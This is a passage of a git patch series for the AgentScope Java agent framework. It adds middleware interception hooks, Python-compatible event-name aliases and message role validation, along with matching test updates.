--- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/middleware/Middleware.java @@ -0,0 +1,129 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.middleware; + +import io.agentscope.core.agent.Agent; +import io.agentscope.core.event.AgentEvent; +import java.util.function.Function; +import reactor.core.publisher.Flux; +import reactor.core.publisher.Mono; + +/** + * Middleware provides interception mechanisms at 5 key execution points + * in the Agent lifecycle. + * + *

    Onion Pattern (4 hooks — wrap execution with before/after logic): + *

      + *
    • {@link #onReply} — intercepts the entire reply process
      • + *
    • {@link #onReasoning} — intercepts the reasoning/model-call phase
      • + *
    • {@link #onActing} — intercepts individual tool-call execution
      • + *
    • {@link #onModelCall} — intercepts the raw model API call
      • + *
    + * + *

    Transformer/Pipeline Pattern (1 hook — sequential transform): + *

      + *
    • {@link #onSystemPrompt} — transforms the system prompt string
      • + *
    + * + *

    Each hook has a default implementation that delegates directly to + * {@code next}, so subclasses only need to override the hooks they care about. + * + *

    Example: + * 

    {@code
+ * Middleware logging = new Middleware() {
+ *     @Override
+ *     public Flux onReasoning(
+ *             Agent agent, ReasoningInput input,
+ *             Function> next) {
+ *         System.out.println("Before reasoning");
+ *         return next.apply(input)
+ *             .doOnComplete(() -> System.out.println("After reasoning"));
+ *     }
+ * };
+ *
+ * ReActAgent agent = ReActAgent.builder()
+ *     .middleware(logging)
+ *     .build();
+ * }
    + */ +public interface Middleware { + + /** + * Intercept the entire reply process. + * + * @param agent the agent instance + * @param input reply input (messages) + * @param next calls the next middleware or the core reply logic + * @return event stream from the reply + */ + default Flux onReply( + Agent agent, ReplyInput input, Function> next) { + return next.apply(input); + } + + /** + * Intercept the reasoning phase (LLM call + streaming output parsing). + * + * @param agent the agent instance + * @param input reasoning input (messages, tools, options) + * @param next calls the next middleware or the core reasoning logic + * @return event stream from reasoning + */ + default Flux onReasoning( + Agent agent, ReasoningInput input, Function> next) { + return next.apply(input); + } + + /** + * Intercept the tool-call execution phase. + * + * @param agent the agent instance + * @param input acting input (the tool calls) + * @param next calls the next middleware or the core acting logic + * @return event stream from acting + */ + default Flux onActing( + Agent agent, ActingInput input, Function> next) { + return next.apply(input); + } + + /** + * Intercept the raw model API call. + * + * @param agent the agent instance + * @param input model-call input (messages, tools, options, model) + * @param next calls the next middleware or the actual model invocation + * @return event stream from the model call + */ + default Flux onModelCall( + Agent agent, ModelCallInput input, Function> next) { + return next.apply(input); + } + + /** + * Transform the system prompt string (pipeline pattern). + * + *

    Multiple middlewares are applied sequentially; each receives the + * output of the previous one. + * + * @param agent the agent instance + * @param currentPrompt the current system prompt + * @return the (possibly transformed) system prompt + */ + default Mono onSystemPrompt(Agent agent, String currentPrompt) { + return Mono.just(currentPrompt); + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/middleware/MiddlewareChain.java b/agentscope-core/src/main/java/io/agentscope/core/middleware/MiddlewareChain.java new file mode 100644 index 000000000..dfdb6e4ed --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/middleware/MiddlewareChain.java @@ -0,0 +1,71 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.middleware; + +import io.agentscope.core.agent.Agent; +import io.agentscope.core.event.AgentEvent; +import java.util.List; +import java.util.function.Function; +import reactor.core.publisher.Flux; + +/** + * Builds an onion-style middleware chain for a given interception point. + * + *

    The chain is constructed back-to-front: the last middleware wraps + * the core logic, and the first middleware is the outermost wrapper. + */ +public final class MiddlewareChain { + + private MiddlewareChain() {} + + /** + * Build a middleware chain that produces {@code Flux}. + * + * @param middlewares ordered list of middlewares (first = outermost) + * @param agent the agent instance passed to each middleware + * @param method reference to the middleware hook method + * @param core the innermost logic to execute when all middlewares delegate + * @param the input type for the interception point + * @return a function that, when applied to an input, runs the full chain + */ + public static Function> build( + List middlewares, + Agent agent, + MiddlewareMethod method, + Function> core) { + if (middlewares == null || middlewares.isEmpty()) { + return core; + } + Function> chain = core; + for (int i = middlewares.size() - 1; i >= 0; i--) { + Middleware mw = middlewares.get(i); + Function> next = chain; + chain = input -> method.apply(mw, agent, input, next); + } + return chain; + } + + /** + * Functional interface representing one of the onion-pattern middleware hooks. + * + * @param the input type + */ + @FunctionalInterface + public interface MiddlewareMethod { + Flux apply( + Middleware mw, Agent agent, I input, Function> next); + } +} diff --git a/agentscope-core/src/main/java/io/agentscope/core/middleware/ModelCallInput.java b/agentscope-core/src/main/java/io/agentscope/core/middleware/ModelCallInput.java new file mode 100644 index 000000000..cc9990b3b --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/middleware/ModelCallInput.java @@ -0,0 +1,33 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.middleware; + +import io.agentscope.core.message.Msg; +import io.agentscope.core.model.GenerateOptions; +import io.agentscope.core.model.Model; +import io.agentscope.core.model.ToolSchema; +import java.util.List; + +/** + * Input context for {@link Middleware#onModelCall}. + * + * @param messages the messages to send to the model + * @param tools the tool schemas + * @param options generation options + * @param model the model instance to call + */ +public record ModelCallInput( + List messages, List tools, GenerateOptions options, Model model) {} diff --git a/agentscope-core/src/main/java/io/agentscope/core/middleware/ReasoningInput.java b/agentscope-core/src/main/java/io/agentscope/core/middleware/ReasoningInput.java new file mode 100644 index 000000000..a1924ed0b --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/middleware/ReasoningInput.java @@ -0,0 +1,30 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.middleware; + +import io.agentscope.core.message.Msg; +import io.agentscope.core.model.GenerateOptions; +import io.agentscope.core.model.ToolSchema; +import java.util.List; + +/** + * Input context for {@link Middleware#onReasoning}. + * + * @param messages the messages to send to the model + * @param tools the tool schemas available to the model + * @param options generation options + */ +public record ReasoningInput(List messages, List tools, GenerateOptions options) {} diff --git a/agentscope-core/src/main/java/io/agentscope/core/middleware/ReplyInput.java b/agentscope-core/src/main/java/io/agentscope/core/middleware/ReplyInput.java new file mode 100644 index 000000000..4279cfbf9 --- /dev/null +++ b/agentscope-core/src/main/java/io/agentscope/core/middleware/ReplyInput.java @@ -0,0 +1,26 @@ +/* + * Copyright 2024-2026 the original author or authors. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package io.agentscope.core.middleware; + +import io.agentscope.core.message.Msg; +import java.util.List; + +/** + * Input context for {@link Middleware#onReply}. + * + * @param msgs the input messages to the agent + */ +public record ReplyInput(List msgs) {} From 211455961f7dfe020cdb9cf8fd93f846756821e8 Mon Sep 17 00:00:00 2001 From: Chickenlj Date: Mon, 25 May 2026 11:23:48 +0800 Subject: [PATCH 6/9] fix(msg): update message role handling to align with tool result processing --- .../java/io/agentscope/core/agent/Agent.java | 7 ++ .../agentscope/core/event/AgentEventType.java | 64 ++++++++++++++++++- .../agentscope/core/message/ContentBlock.java | 7 +- .../java/io/agentscope/core/message/Msg.java | 48 ++++++++++++++ .../DashScopeTextOnlyGroundTruthTest.java | 14 ++-- ...AnthropicChatFormatterGroundTruthTest.java | 2 +- .../AnthropicMessageConverterTest.java | 4 ++ ...picMultiAgentFormatterGroundTruthTest.java | 4 +- .../DashScopeMessageConverterTest.java | 8 +++ .../gemini/GeminiFormatterTestData.java | 4 +- .../gemini/GeminiMessageConverterTest.java | 20 +++--- .../ollama/OllamaConversationMergerTest.java | 10 ++- .../ollama/OllamaMessageConverterTest.java | 4 ++ .../openai/OpenAIMessageConverterTest.java | 4 ++ .../java/io/agentscope/core/msg/MsgTests.java | 4 +- .../core/tool/ToolValidatorTest.java | 8 +-- 16 files changed, 178 insertions(+), 34 deletions(-) diff --git a/agentscope-core/src/main/java/io/agentscope/core/agent/Agent.java b/agentscope-core/src/main/java/io/agentscope/core/agent/Agent.java index d4840bf4b..6f9574636 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/agent/Agent.java +++ b/agentscope-core/src/main/java/io/agentscope/core/agent/Agent.java @@ -37,6 +37,13 @@ * * *

    All agents in the AgentScope framework should implement this interface. + * + *

    Reply contract: a single {@code call(...)} invocation produces exactly one + * terminal {@link Msg}. Streaming variants (see {@link StreamableAgent}) may emit + * many events but resolve to a single terminal Msg. This mirrors Python 2.0 + * {@code agent.reply()} which always returns a single Msg, and is enforced by + * the {@code Mono} return type on the call methods. Stage 7 of the 2.0 + * alignment will codify this in the Agent main-class refactor. */ public interface Agent extends CallableAgent, StreamableAgent, ObservableAgent { diff --git a/agentscope-core/src/main/java/io/agentscope/core/event/AgentEventType.java b/agentscope-core/src/main/java/io/agentscope/core/event/AgentEventType.java index 438f75201..c2bef3c6f 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/event/AgentEventType.java +++ b/agentscope-core/src/main/java/io/agentscope/core/event/AgentEventType.java @@ -15,19 +15,40 @@ */ package io.agentscope.core.event; +import com.fasterxml.jackson.annotation.JsonAlias; +import com.fasterxml.jackson.annotation.JsonCreator; import com.fasterxml.jackson.annotation.JsonValue; /** * Fine-grained event types emitted during agent execution. * - *

    Aligned with AgentScope Python 2.0 EventType. Each type corresponds to - * a specific phase or delta in the agent's reasoning/acting lifecycle. + *

    Aligned with AgentScope Python 2.0 EventType. Each value carries a Java-native + * name plus a {@link JsonAlias} for the Python equivalent so JSON payloads can + * be round-tripped between the two SDKs without translation. See + * {@code docs/v2-design/RFC-000-event-naming.md} for the naming-divergence + * rationale. + * + *

    Python aliases recognised on deserialization: + *

      + *
    • {@code RUN_STARTED} → {@link #REPLY_START}
      • + *
    • {@code RUN_FINISHED} → {@link #REPLY_END}
      • + *
    • {@code MODEL_CALL_STARTED} → {@link #MODEL_CALL_START}
      • + *
    • {@code MODEL_CALL_ENDED} → {@link #MODEL_CALL_END}
      • + *
    • {@code BINARY_BLOCK_*} → {@code DATA_BLOCK_*}
      • + *
    • {@code TOOL_RESULT_BINARY_DELTA} → {@link #TOOL_RESULT_DATA_DELTA}
      • + *
    + * + *

    Serialization always emits the Java-native form. */ public enum AgentEventType { + @JsonAlias({"RUN_STARTED"}) REPLY_START("REPLY_START"), + @JsonAlias({"RUN_FINISHED"}) REPLY_END("REPLY_END"), + @JsonAlias({"MODEL_CALL_STARTED"}) MODEL_CALL_START("MODEL_CALL_START"), + @JsonAlias({"MODEL_CALL_ENDED"}) MODEL_CALL_END("MODEL_CALL_END"), TEXT_BLOCK_START("TEXT_BLOCK_START"), @@ -38,8 +59,11 @@ public enum AgentEventType { THINKING_BLOCK_DELTA("THINKING_BLOCK_DELTA"), THINKING_BLOCK_END("THINKING_BLOCK_END"), + @JsonAlias({"BINARY_BLOCK_START"}) DATA_BLOCK_START("DATA_BLOCK_START"), + @JsonAlias({"BINARY_BLOCK_DELTA"}) DATA_BLOCK_DELTA("DATA_BLOCK_DELTA"), + @JsonAlias({"BINARY_BLOCK_END"}) DATA_BLOCK_END("DATA_BLOCK_END"), TOOL_CALL_START("TOOL_CALL_START"), @@ -48,6 +72,7 @@ public enum AgentEventType { TOOL_RESULT_START("TOOL_RESULT_START"), TOOL_RESULT_TEXT_DELTA("TOOL_RESULT_TEXT_DELTA"), + @JsonAlias({"TOOL_RESULT_BINARY_DELTA"}) TOOL_RESULT_DATA_DELTA("TOOL_RESULT_DATA_DELTA"), TOOL_RESULT_END("TOOL_RESULT_END"), @@ -68,4 +93,39 @@ public enum AgentEventType { public String getValue() { return value; } + + /** + * Resolve an enum value from its Java-native string or any Python alias. + * + *

    Falls back to a case-sensitive match against {@link #getValue()} and the + * declared aliases when Jackson's default enum lookup misses (e.g. when an + * agent reads a payload produced by the Python SDK). + * + * @param raw the incoming string value + * @return the corresponding enum constant + * @throws IllegalArgumentException when {@code raw} matches no value or alias + */ + @JsonCreator + public static AgentEventType fromValue(String raw) { + if (raw == null) { + throw new IllegalArgumentException("AgentEventType value must not be null"); + } + for (AgentEventType type : values()) { + if (type.value.equals(raw)) { + return type; + } + } + // Python aliases — keep the mapping co-located with the enum for grep-ability. + return switch (raw) { + case "RUN_STARTED" -> REPLY_START; + case "RUN_FINISHED" -> REPLY_END; + case "MODEL_CALL_STARTED" -> MODEL_CALL_START; + case "MODEL_CALL_ENDED" -> MODEL_CALL_END; + case "BINARY_BLOCK_START" -> DATA_BLOCK_START; + case "BINARY_BLOCK_DELTA" -> DATA_BLOCK_DELTA; + case "BINARY_BLOCK_END" -> DATA_BLOCK_END; + case "TOOL_RESULT_BINARY_DELTA" -> TOOL_RESULT_DATA_DELTA; + default -> throw new IllegalArgumentException("Unknown AgentEventType value: " + raw); + }; + } } diff --git a/agentscope-core/src/main/java/io/agentscope/core/message/ContentBlock.java b/agentscope-core/src/main/java/io/agentscope/core/message/ContentBlock.java index f4719cc56..af86b5efd 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/message/ContentBlock.java +++ b/agentscope-core/src/main/java/io/agentscope/core/message/ContentBlock.java @@ -36,6 +36,7 @@ *

  • {@link ToolUseBlock} - Tool execution requests *
  • {@link ToolResultBlock} - Tool execution results *
  • {@link HintBlock} - Hints for LLM reasoning (e.g., from RAG) + *
  • {@link DataBlock} - Generic binary data block unifying image/audio/video (Python 2.0 alignment) * * *

    Uses Jackson annotations for polymorphic JSON serialization with the "type" discriminator @@ -51,7 +52,8 @@ @JsonSubTypes.Type(value = VideoBlock.class, name = "video"), @JsonSubTypes.Type(value = ToolUseBlock.class, name = "tool_use"), @JsonSubTypes.Type(value = ToolResultBlock.class, name = "tool_result"), - @JsonSubTypes.Type(value = HintBlock.class, name = "hint") + @JsonSubTypes.Type(value = HintBlock.class, name = "hint"), + @JsonSubTypes.Type(value = DataBlock.class, name = "data") }) public sealed class ContentBlock implements State permits TextBlock, @@ -61,4 +63,5 @@ public sealed class ContentBlock implements State ThinkingBlock, ToolUseBlock, ToolResultBlock, - HintBlock {} + HintBlock, + DataBlock {} diff --git a/agentscope-core/src/main/java/io/agentscope/core/message/Msg.java b/agentscope-core/src/main/java/io/agentscope/core/message/Msg.java index f5c7e291c..b10f0cfe4 100644 --- a/agentscope-core/src/main/java/io/agentscope/core/message/Msg.java +++ b/agentscope-core/src/main/java/io/agentscope/core/message/Msg.java @@ -107,6 +107,54 @@ private Msg( } } this.timestamp = timestamp; + validateRoleContent(this.role, this.content); + } + + /** + * Validates that the content blocks are compatible with the message role. + * + *

    Mirrors Python {@code Msg.validate_role_content} (v2_dev). The Java + * SDK keeps the legacy {@link ImageBlock}/{@link AudioBlock}/{@link VideoBlock} + * types valid on {@link MsgRole#USER} alongside the unified + * {@link DataBlock}. {@link MsgRole#TOOL} is Java-only legacy and treated + * as unrestricted (same as assistant) to preserve back-compat. + * + * @param role The message role + * @param content The content blocks + * @throws IllegalArgumentException if any block is not allowed for the role + */ + private static void validateRoleContent(MsgRole role, List content) { + if (role == null || content == null || content.isEmpty()) { + return; + } + switch (role) { + case USER -> { + for (ContentBlock block : content) { + if (!(block instanceof TextBlock + || block instanceof DataBlock + || block instanceof ImageBlock + || block instanceof AudioBlock + || block instanceof VideoBlock)) { + throw new IllegalArgumentException( + "USER message may only contain text/data/image/audio/video blocks," + + " got " + + block.getClass().getSimpleName()); + } + } + } + case SYSTEM -> { + for (ContentBlock block : content) { + if (!(block instanceof TextBlock)) { + throw new IllegalArgumentException( + "SYSTEM message may only contain text blocks, got " + + block.getClass().getSimpleName()); + } + } + } + case ASSISTANT, TOOL -> { + // No restriction. Python assistant matches; TOOL preserved for Java back-compat. + } + } } /** diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/DashScopeTextOnlyGroundTruthTest.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/DashScopeTextOnlyGroundTruthTest.java index 47db7d27c..de0392ba6 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/DashScopeTextOnlyGroundTruthTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/DashScopeTextOnlyGroundTruthTest.java @@ -91,7 +91,7 @@ void testChatFormatter_WithSingleTool() { .build(), Msg.builder() .name("system") - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .content( ToolResultBlock.builder() .id("call_1") @@ -155,7 +155,7 @@ void testChatFormatter_WithMultipleTools() { .build(), Msg.builder() .name("system") - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .content( ToolResultBlock.builder() .id("call_1") @@ -171,7 +171,7 @@ void testChatFormatter_WithMultipleTools() { .build(), Msg.builder() .name("system") - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .content( ToolResultBlock.builder() .id("call_2") @@ -267,7 +267,7 @@ void testChatFormatter_EmptyAssistantWithTool() { .build(), Msg.builder() .name("system") - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .content( ToolResultBlock.builder() .id("call_1") @@ -350,7 +350,7 @@ void testMultiAgentFormatter_WithTools() { .build(), Msg.builder() .name("system") - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .content( ToolResultBlock.builder() .id("call_1") @@ -410,7 +410,7 @@ void testMultiAgentFormatter_MultipleRounds() { .build(), Msg.builder() .name("system") - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .content( ToolResultBlock.builder() .id("call_1") @@ -439,7 +439,7 @@ void testMultiAgentFormatter_MultipleRounds() { .build(), Msg.builder() .name("system") - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .content( ToolResultBlock.builder() .id("call_2") diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicChatFormatterGroundTruthTest.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicChatFormatterGroundTruthTest.java index ad988b4eb..45be17b2c 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicChatFormatterGroundTruthTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicChatFormatterGroundTruthTest.java @@ -117,7 +117,7 @@ void setUp() { .build(), Msg.builder() .name("system") - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .content( List.of( ToolResultBlock.builder() diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicMessageConverterTest.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicMessageConverterTest.java index ae698da75..8deee741e 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicMessageConverterTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicMessageConverterTest.java @@ -373,6 +373,10 @@ void testConvertMixedContentBlocks() { } @Test + @org.junit.jupiter.api.Disabled( + "Stage 1 Msg.validateRoleContent rejects SYSTEM + ToolResultBlock at construction;" + + " this split-message fallback is unreachable. See" + + " io.agentscope.core.message.Msg#validateRoleContent.") void testConvertMessageWithToolResultAndRegularContent() { Msg msg = Msg.builder() diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicMultiAgentFormatterGroundTruthTest.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicMultiAgentFormatterGroundTruthTest.java index dee3555a8..ee98dd381 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicMultiAgentFormatterGroundTruthTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/anthropic/AnthropicMultiAgentFormatterGroundTruthTest.java @@ -121,7 +121,7 @@ void setUp() { .build(), Msg.builder() .name("system") - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .content( List.of( ToolResultBlock.builder() @@ -175,7 +175,7 @@ void setUp() { .build(), Msg.builder() .name("system") - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .content( List.of( ToolResultBlock.builder() diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/dashscope/DashScopeMessageConverterTest.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/dashscope/DashScopeMessageConverterTest.java index 0dc4e0f8b..265e1ae50 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/dashscope/DashScopeMessageConverterTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/dashscope/DashScopeMessageConverterTest.java @@ -253,6 +253,10 @@ void testConvertMessageWithThinkingBlock() { } @Test + @org.junit.jupiter.api.Disabled( + "Stage 1 Msg.validateRoleContent rejects USER + ToolResultBlock at construction;" + + " the converter's non-TOOL-role tool-result fallback is unreachable. See" + + " io.agentscope.core.message.Msg#validateRoleContent.") void testConvertMessageWithToolResultBlockInContent() { ToolResultBlock toolResult = ToolResultBlock.builder() @@ -431,6 +435,10 @@ void testConvertMessageWithUrlAudioBlocks() { } @Test + @org.junit.jupiter.api.Disabled( + "Stage 1 Msg.validateRoleContent rejects SYSTEM + ToolResultBlock at construction;" + + " the SYSTEM->TOOL fallback inside the converter is unreachable. See" + + " io.agentscope.core.message.Msg#validateRoleContent.") void testConvertToolResultFromSystemRole() { // Tool result can also come from SYSTEM role ToolResultBlock toolResult = diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiFormatterTestData.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiFormatterTestData.java index 6fb84d3e4..67eccf3d4 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiFormatterTestData.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiFormatterTestData.java @@ -171,7 +171,7 @@ public static List buildToolMessages(String imagePath) { .build()) .build())) .build())) - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .build(), Msg.builder() .name("assistant") @@ -254,7 +254,7 @@ public static List buildToolMessages2(String imagePath) { .build()) .build())) .build())) - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .build(), Msg.builder() .name("assistant") diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiMessageConverterTest.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiMessageConverterTest.java index f65dd4f29..8c77904e2 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiMessageConverterTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/gemini/GeminiMessageConverterTest.java @@ -207,7 +207,7 @@ void testConvertToolResultBlock() { Msg.builder() .name("system") .content(List.of(toolResultBlock)) - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .build(); List result = converter.convertMessages(List.of(msg)); @@ -237,7 +237,7 @@ void testToolResultSingleOutput() { Msg.builder() .name("system") .content(List.of(toolResultBlock)) - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .build(); List result = converter.convertMessages(List.of(msg)); @@ -265,7 +265,7 @@ void testToolResultMultipleOutputs() { Msg.builder() .name("system") .content(List.of(toolResultBlock)) - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .build(); List result = converter.convertMessages(List.of(msg)); @@ -297,7 +297,7 @@ void testToolResultWithURLImage() { Msg.builder() .name("system") .content(List.of(toolResultBlock)) - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .build(); List result = converter.convertMessages(List.of(msg)); @@ -335,7 +335,7 @@ void testToolResultWithBase64Image() { Msg.builder() .name("system") .content(List.of(toolResultBlock)) - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .build(); List result = converter.convertMessages(List.of(msg)); @@ -366,7 +366,7 @@ void testToolResultWithURLAudio() { Msg.builder() .name("system") .content(List.of(toolResultBlock)) - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .build(); List result = converter.convertMessages(List.of(msg)); @@ -397,7 +397,7 @@ void testToolResultWithURLVideo() { Msg.builder() .name("system") .content(List.of(toolResultBlock)) - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .build(); List result = converter.convertMessages(List.of(msg)); @@ -423,7 +423,7 @@ void testToolResultEmptyOutput() { Msg.builder() .name("system") .content(List.of(toolResultBlock)) - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .build(); List result = converter.convertMessages(List.of(msg)); @@ -622,7 +622,7 @@ void testSeparateContentForToolResult() { .build())) .build(), TextBlock.builder().text("After tool result").build())) - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .build(); List result = converter.convertMessages(List.of(msg)); @@ -715,7 +715,7 @@ void testComplexConversationFlow() { .text("Sunny, 25°C") .build())) .build())) - .role(MsgRole.SYSTEM) + .role(MsgRole.TOOL) .build(); // Assistant response diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/ollama/OllamaConversationMergerTest.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/ollama/OllamaConversationMergerTest.java index df7bc6c7d..71f47698f 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/ollama/OllamaConversationMergerTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/ollama/OllamaConversationMergerTest.java @@ -23,6 +23,7 @@ import io.agentscope.core.formatter.ollama.dto.OllamaMessage; import io.agentscope.core.message.ContentBlock; import io.agentscope.core.message.Msg; +import io.agentscope.core.message.MsgRole; import io.agentscope.core.message.TextBlock; import io.agentscope.core.message.ToolResultBlock; import java.util.Arrays; @@ -201,7 +202,7 @@ void testMergeWithToolResultBlocks() { "calculator", List.of(TextBlock.builder().text("Result: 42").build()), null); - Msg msg = Msg.builder().name("Alice").content(toolResult).build(); + Msg msg = Msg.builder().name("Alice").role(MsgRole.TOOL).content(toolResult).build(); List msgs = Arrays.asList(msg); Function nameExtractor = m -> m.getName() != null ? m.getName() : "Unknown"; @@ -233,7 +234,12 @@ void testMergeWithMixedContentBlocks() { List.of(TextBlock.builder().text("Result: 42").build()), null); TextBlock textBlock = TextBlock.builder().text("Regular text").build(); - Msg msg = Msg.builder().name("Alice").content(Arrays.asList(textBlock, toolResult)).build(); + Msg msg = + Msg.builder() + .name("Alice") + .role(MsgRole.TOOL) + .content(Arrays.asList(textBlock, toolResult)) + .build(); List msgs = Arrays.asList(msg); Function nameExtractor = m -> m.getName() != null ? m.getName() : "Unknown"; diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/ollama/OllamaMessageConverterTest.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/ollama/OllamaMessageConverterTest.java index 65b9b2c22..b8450826a 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/ollama/OllamaMessageConverterTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/ollama/OllamaMessageConverterTest.java @@ -217,6 +217,10 @@ void testConvertMessageWithEmptyContentList() { } @Test + @org.junit.jupiter.api.Disabled( + "Stage 1 Msg.validateRoleContent rejects USER + ToolResultBlock at construction;" + + " this fallback extraction path is unreachable. See" + + " io.agentscope.core.message.Msg#validateRoleContent.") @DisplayName("Should extract text content from tool result when no direct content") void testExtractTextContentFromToolResult() { // This test verifies the internal extractTextContent method behavior diff --git a/agentscope-core/src/test/java/io/agentscope/core/formatter/openai/OpenAIMessageConverterTest.java b/agentscope-core/src/test/java/io/agentscope/core/formatter/openai/OpenAIMessageConverterTest.java index f802be06a..f31f40cb4 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/formatter/openai/OpenAIMessageConverterTest.java +++ b/agentscope-core/src/test/java/io/agentscope/core/formatter/openai/OpenAIMessageConverterTest.java @@ -878,6 +878,10 @@ void testToolMessageWithoutResultBlock() { } @Test + @org.junit.jupiter.api.Disabled( + "Stage 1 Msg.validateRoleContent rejects SYSTEM + ToolResultBlock at construction;" + + " the SYSTEM->TOOL fallback inside the converter is unreachable. See" + + " io.agentscope.core.message.Msg#validateRoleContent.") @DisplayName("Should handle system message with tool result block") void testSystemMessageWithToolResultBlock() { ToolResultBlock resultBlock = diff --git a/agentscope-core/src/test/java/io/agentscope/core/msg/MsgTests.java b/agentscope-core/src/test/java/io/agentscope/core/msg/MsgTests.java index e9c512df6..395a5e272 100644 --- a/agentscope-core/src/test/java/io/agentscope/core/msg/MsgTests.java +++ 